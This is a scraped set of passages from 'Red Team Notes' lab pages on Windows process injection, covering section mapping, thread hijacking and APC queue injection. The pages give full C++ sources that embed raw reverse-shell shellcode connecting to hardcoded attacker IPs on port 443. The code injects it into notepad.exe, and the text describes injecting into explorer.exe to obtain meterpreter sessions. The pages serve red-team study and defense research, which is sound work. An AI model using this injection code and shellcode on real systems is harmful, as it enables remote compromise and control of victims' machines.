![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Loq5ek3nR4BZ567AM8Z%252F-LoqDRSd12QStim2KJgv%252Fimage.png%3Falt%3Dmedia%26token%3D0ee94be1-3219-4c24-83a7-a03ee7dc774b&width=768&dpr=3&quality=100&sign=ed3c78e4&sv=2) Let's create another view of the same section in a target process (notepad.exe PID 6572 in our case), but this time with RX protection. The memory address of the view will get stored in `remoteSectionAddress` variable: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Loq5ek3nR4BZ567AM8Z%252F-LoqDxKWd84uwnl-PEqK%252Fimage.png%3Falt%3Dmedia%26token%3Df2086cd8-590c-40e7-a01a-32d3acfba919&width=768&dpr=3&quality=100&sign=467684bb&sv=2) We can now copy the shellcode into our `localSectionAddress`, which will get automatically mirrored/reflected in the `remoteSectionAddress` as it's a view of the same section shared between our local and target processes: Below shows how the `localSectionAddress` gets filled with the shellcode and at the same time the `remoteSectionAddress` at `0x000002614ed50000` inside notepad (on the right) gets filled with the same shellcode: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Loq5ek3nR4BZ567AM8Z%252F-LoqEKmoH7xT31Hbyn2r%252Fpopulating-section-with-shellcode.gif%3Falt%3Dmedia%26token%3D99773205-0fc9-4d12-a925-a3e01fa1ce2f&width=768&dpr=3&quality=100&sign=1ff1d5dc&sv=2) We can now create a remote thread inside the notepad.exe and make the `remoteSectionAddress` its start address in order to trigger the shellcode: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Loq5ek3nR4BZ567AM8Z%252F-LoqErGinKzN892WCnRF%252Frtlcreateuserthreadshell.gif%3Falt%3Dmedia%26token%3Dd6c84f5e-76e4-43eb-a951-8c8574d9caae&width=768&dpr=3&quality=100&sign=9cc41543&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#code) Code ------------------------------------------------------------------------------------------------------------------------------------------------ [](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------ [NTAPI Undocumented Functionsundocumented.ntinternals.net](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html) [NTAPI Undocumented Functionsundocumented.ntinternals.net](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Section Objects and Views - Windows driversMicrosoftLearn](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fstatic.parastorage.com%2Fclient%2Fpfavico.ico&width=20&dpr=3&quality=100&sign=53bf2fd6&sv=2)Masking Malicious Memory Artifacts – Part I: Phantom DLL HollowingForrestOrr](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing) [PreviousBackdooring PE Files with Shellcode](https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode) [NextAddressOfEntryPoint Code Injection without VirtualAllocEx RWX](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx) Last updated 6 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#overview) * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#execution) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection#references) Copy fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); Copy memcpy(localSectionAddress, buf, sizeof(buf)); Copy fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); Copy #include #include #pragma comment(lib, "ntdll") typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID); int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread")); SIZE_T size = 4096; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; // create a memory section fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); // create a view of the memory section in the local process fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); // create a view of the memory section in the target process HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480); fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ); // copy shellcode to the local view, which will get reflected in the target process's mapped view memcpy(localSectionAddress, buf, sizeof(buf)); HANDLE targetThreadHandle = NULL; fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); return 0; } --- # Injecting to Remote Process via Thread Hijacking | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking.md) . This is a quick lab that looks at the API sequence used by malware to inject into remote processes by leveraging a well known thread hijacking technique. [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#overview) Overview ----------------------------------------------------------------------------------------------------------------------------------------------------- Below lists the API calls that are required to execute this technique: 1. Open a handle `targetProcessHandle` to the process (notepad in our case) we want to inject to with `OpenProcess` 2. Allocate some executable memory `remoteBuffer` in the target process with `VirtualAllocEx` 3. Write shellcode we want to inject into the memory `remoteBuffer` (allocated in step 2), using `WriteProcessMemory` 4. Find a thread ID of the thread we want to hijack in the target process. In our case, we will fetch the thread ID of the first thread in our target process (notepad). We will leverage `CreateToolhelp32Snapshot` to create a `snapshot` of target process's threads and eumerate them with `Thread32Next`. This will give us the thread ID we will be hijacking. 5. Open a handle `threadHijacked` to the thread to be hijacked using `OpenThread` 6. Suspend the target thread - the thread we want to hijack (`threadHijacked`) with `SuspendThread` 7. Retrieve the target thread's context with `GetThreadContext` 8. Update the target thread's (retrieved in step 6) instruction pointer (`RIP` register) to point to the shellcode, which was written into the target process's memory in step 3 using `WriteProcessMemory` 9. Commit the hijacked thread's (upadated in step 7) new context with `SetThreadContext` 10. Resume the hijacked thread with `ResumeThread` 11. Enjoy the reverse shell [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#walkthrough) Walkthrough ----------------------------------------------------------------------------------------------------------------------------------------------------------- Steps 1-3 of the technique overview are self-explanatory and have been covered in more detail in my notes in [Code & Process Injection](https://www.ired.team/offensive-security/code-injection-process-injection) section. In step 4, what happens is that we simply find our target process's (notepad) main thread ID as seen in the below image: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEmR86_k1rOcdeqjLM%252Fimage.png%3Falt%3Dmedia%26token%3D4ed224b1-268c-4abe-8ea2-a0671be4dce1&width=768&dpr=3&quality=100&sign=70466723&sv=2) In step 5, a handle to that thread `14100` is opened with: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEnR_-YrnDKPrmICz7%252Fimage.png%3Falt%3Dmedia%26token%3D30ee0996-72ce-4bc9-9e5f-318f030bd7e6&width=768&dpr=3&quality=100&sign=b3ef2ba&sv=2) In step 6, that thread (TID `14100`) with handle `threadHijacked` is suspended with ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEnpls6ED2PYbJa5zm%252Fimage.png%3Falt%3Dmedia%26token%3De8448718-4b02-4d57-83b5-a2d812ff0334&width=768&dpr=3&quality=100&sign=6625f1f3&sv=2) In step 7, we retrieve the hijacked thread's context, which contains CPU registers at that time, among other things. We need to capture the context, since we will be updating the hijacked thread's instruction pointer RIP in steps 8 and 9, and we do not want the hijacked process to crash once we resume it: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEpbQivmHVTgnkjIsb%252Fimage.png%3Falt%3Dmedia%26token%3D19836880-d31c-44d1-a0ab-ecc37ea0ec4c&width=768&dpr=3&quality=100&sign=c4c489e8&sv=2) After executing steps 8 and 9, the hijacked thread's RIP is now pointing to the shellcode in our target process notepad.exe memory location `0x000002736ccf0000`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEqIGoJXiJKEWv2H6V%252Fimage.png%3Falt%3Dmedia%26token%3De136294e-9248-482e-8417-fec5664e6a9e&width=768&dpr=3&quality=100&sign=657286e0&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEr0jg7tLePGZJxf0q%252Fimage.png%3Falt%3Dmedia%26token%3Df7d2d755-98e2-4132-bd0b-4fbb5b98251c&width=768&dpr=3&quality=100&sign=34510d5a&sv=2) In step 10, once the hijacked thread (`threadHijacked`) is resumed, the shellcode is executed and a reverse shell is executed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEsBsdsSYpgWC9kbti%252Fimage.png%3Falt%3Dmedia%26token%3D96f8dac3-06f4-4a03-9c72-2f1b80c9cf7c&width=768&dpr=3&quality=100&sign=31760614&sv=2) Below shows the technique in action: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MGE_PNqaREb0DjHO1tB%252F-MGEtDYv6NqUipTmsYoZ%252Fthread-hijacking.gif%3Falt%3Dmedia%26token%3D0e65d544-e2e1-439b-b6b0-f7bfe5c88971&width=768&dpr=3&quality=100&sign=68a25cb6&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#code) Code --------------------------------------------------------------------------------------------------------------------------------------------- [PreviousLocal Shellcode Execution without Windows APIs](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis) [NextSetWindowHookEx Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection) Last updated 5 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#overview) * [Walkthrough](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#walkthrough) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking#code) Copy threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, 14100); Copy SuspendThread(threadHijacked); Copy #include #include #include int main() { unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; HANDLE targetProcessHandle; PVOID remoteBuffer; HANDLE threadHijacked = NULL; HANDLE snapshot; THREADENTRY32 threadEntry; CONTEXT context; DWORD targetPID = 15048; context.ContextFlags = CONTEXT_FULL; threadEntry.dwSize = sizeof(THREADENTRY32); targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); Thread32First(snapshot, &threadEntry); while (Thread32Next(snapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == targetPID) { threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); break; } } SuspendThread(threadHijacked); GetThreadContext(threadHijacked, &context); context.Rip = (DWORD_PTR)remoteBuffer; SetThreadContext(threadHijacked, &context); ResumeThread(threadHijacked); } --- # APC Queue Code Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection.md) . This lab looks at the APC (Asynchronous Procedure Calls) queue code injection - a well known technique I had not played with in the past. Some simplified context around threads and APC queues: * Threads execute code within processes * Threads can execute code asynchronously by leveraging APC queues * Each thread has a queue that stores all the APCs * Application can queue an APC to a given thread (subject to privileges) * When a thread is scheduled, queued APCs get executed * Disadvantage of this technique is that the malicious program cannot force the victim thread to execute the injected code - the thread to which an APC was queued to, needs to enter/be in an [alertable](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#alertable-state) state (i.e [`SleepEx`](https://msdn.microsoft.com/en-us/library/ms686307(v=VS.85).aspx) ), but you may want to check out [Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert) [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#execution) Execution ------------------------------------------------------------------------------------------------------------------------------- A high level overview of how this lab works: * Write a C++ program apcqueue.exe that will: * Find explorer.exe process ID * Allocate memory in explorer.exe process memory space * Write shellcode to that memory location * Find all threads in explorer.exe * Queue an APC to all those threads. APC points to the shellcode * Execute the above program * When threads in explorer.exe get scheduled, our shellcode gets executed * Rain of meterpreter shells Let's start by creating a meterpreter shellcode to be injected into the victim process: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-LfndZW7ypQcVQGTuvis%252FAnnotation%25202019-05-26%2520111814.png%3Falt%3Dmedia%26token%3D20932f2d-b172-41e9-b264-22e7768707dc&width=768&dpr=3&quality=100&sign=c4b4a2b3&sv=2) I will be injecting the shellcode into `explorer.exe` since there's usually a lot of thread activity going on, so there is a better chance to encounter a thread in an alertable state that will kick off the shellcode. I will find the process I want to inject into with `Process32First` and `Process32Next` calls: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfoWuRrpkOLYPw_fCly%252F-LfoY-Pj-g8AqbrSPoSn%252FAnnotation%25202019-05-26%2520152927.png%3Falt%3Dmedia%26token%3D07d269a1-3f06-4dc5-b158-127a98399438&width=768&dpr=3&quality=100&sign=26dd559e&sv=2) Once explorer PID is found, we need to get a handle to the explorer.exe process and allocate some memory for the shellcode. The shellcode is written to explorer's process memory and additionally, an APC routine, which now points to the shellcode, is declared: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfoOmGygVko3zk5tOtI%252F-LfoU260AWbpqj5zWz84%252FAnnotation%25202019-05-26%2520151203.png%3Falt%3Dmedia%26token%3D72e230ae-cef1-47cc-a30a-4e1c951bf1e3&width=768&dpr=3&quality=100&sign=971d772c&sv=2) If we compile and execute `apcqueue.exe`, we can indeed see the shellcode gets injected into the process successully: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-Lfo7-fb2ZlNB_PuPl3A%252FAnnotation%25202019-05-26%2520133126.png%3Falt%3Dmedia%26token%3Df200aeff-2d35-4038-93b0-6ff5fef9596c&width=768&dpr=3&quality=100&sign=29a9a270&sv=2) A quick detour - the below shows a screenshot from the Process Hacker where our malicious program has a handle to explorer.exe - good to know for debugging and troubleshooting: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-Lfo7Nrn8-vo64Jgk40K%252FAnnotation%25202019-05-26%2520133312.png%3Falt%3Dmedia%26token%3Da01d54fe-02ce-4244-a23d-5a4984035a4f&width=768&dpr=3&quality=100&sign=eab721aa&sv=2) Back to the code - we can now enumerate all threads of explorer.exe and queue an APC (points to the shellcode) to them: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfoOmGygVko3zk5tOtI%252F-LfoVNJW9GHyrTzeO870%252FAnnotation%25202019-05-26%2520151757.png%3Falt%3Dmedia%26token%3Ddef13ea3-134e-4daa-acc8-53c67617eee8&width=768&dpr=3&quality=100&sign=29aeb407&sv=2) sleep for some throttling Switching gears to the attacking machine - let's fire up a multi handler and set an `autorunscript` to migrate meterpreter sessions to some other process before they die with the dying threads: Once the `apcqueue` is compiled and run, a meterpreter session is received - the technique worked: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-Lfo9Md7-WtyzdeA0gdU%252FAnnotation%25202019-05-26%2520134126.png%3Falt%3Dmedia%26token%3Da8a130a0-e422-4429-9f21-e38aeb6c2084&width=768&dpr=3&quality=100&sign=ee04eb00&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#states) States ------------------------------------------------------------------------------------------------------------------------- As mentioned earlier, in order for the APC code injection to work, the thread to which an APC is queued, needs to be in an `alertable` state. To get a better feel of what this means, I created another project called `alertable` that only did one thing - slept for 60 seconds. The application was sent to sleep using (note the important second parameter): Let's put the new project to sleep in both alertable and non-alertable states and see what heppens when an APC is queued to it. ### [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#alertable-state) Alertable State Let's compile the `alertable.exe` binary with `bAleertable = true` first and then launch the `apcqueue.exe`. Since `alertable.exe` was in an alertable state, the code got executed immediately and a meterpreter session was established: 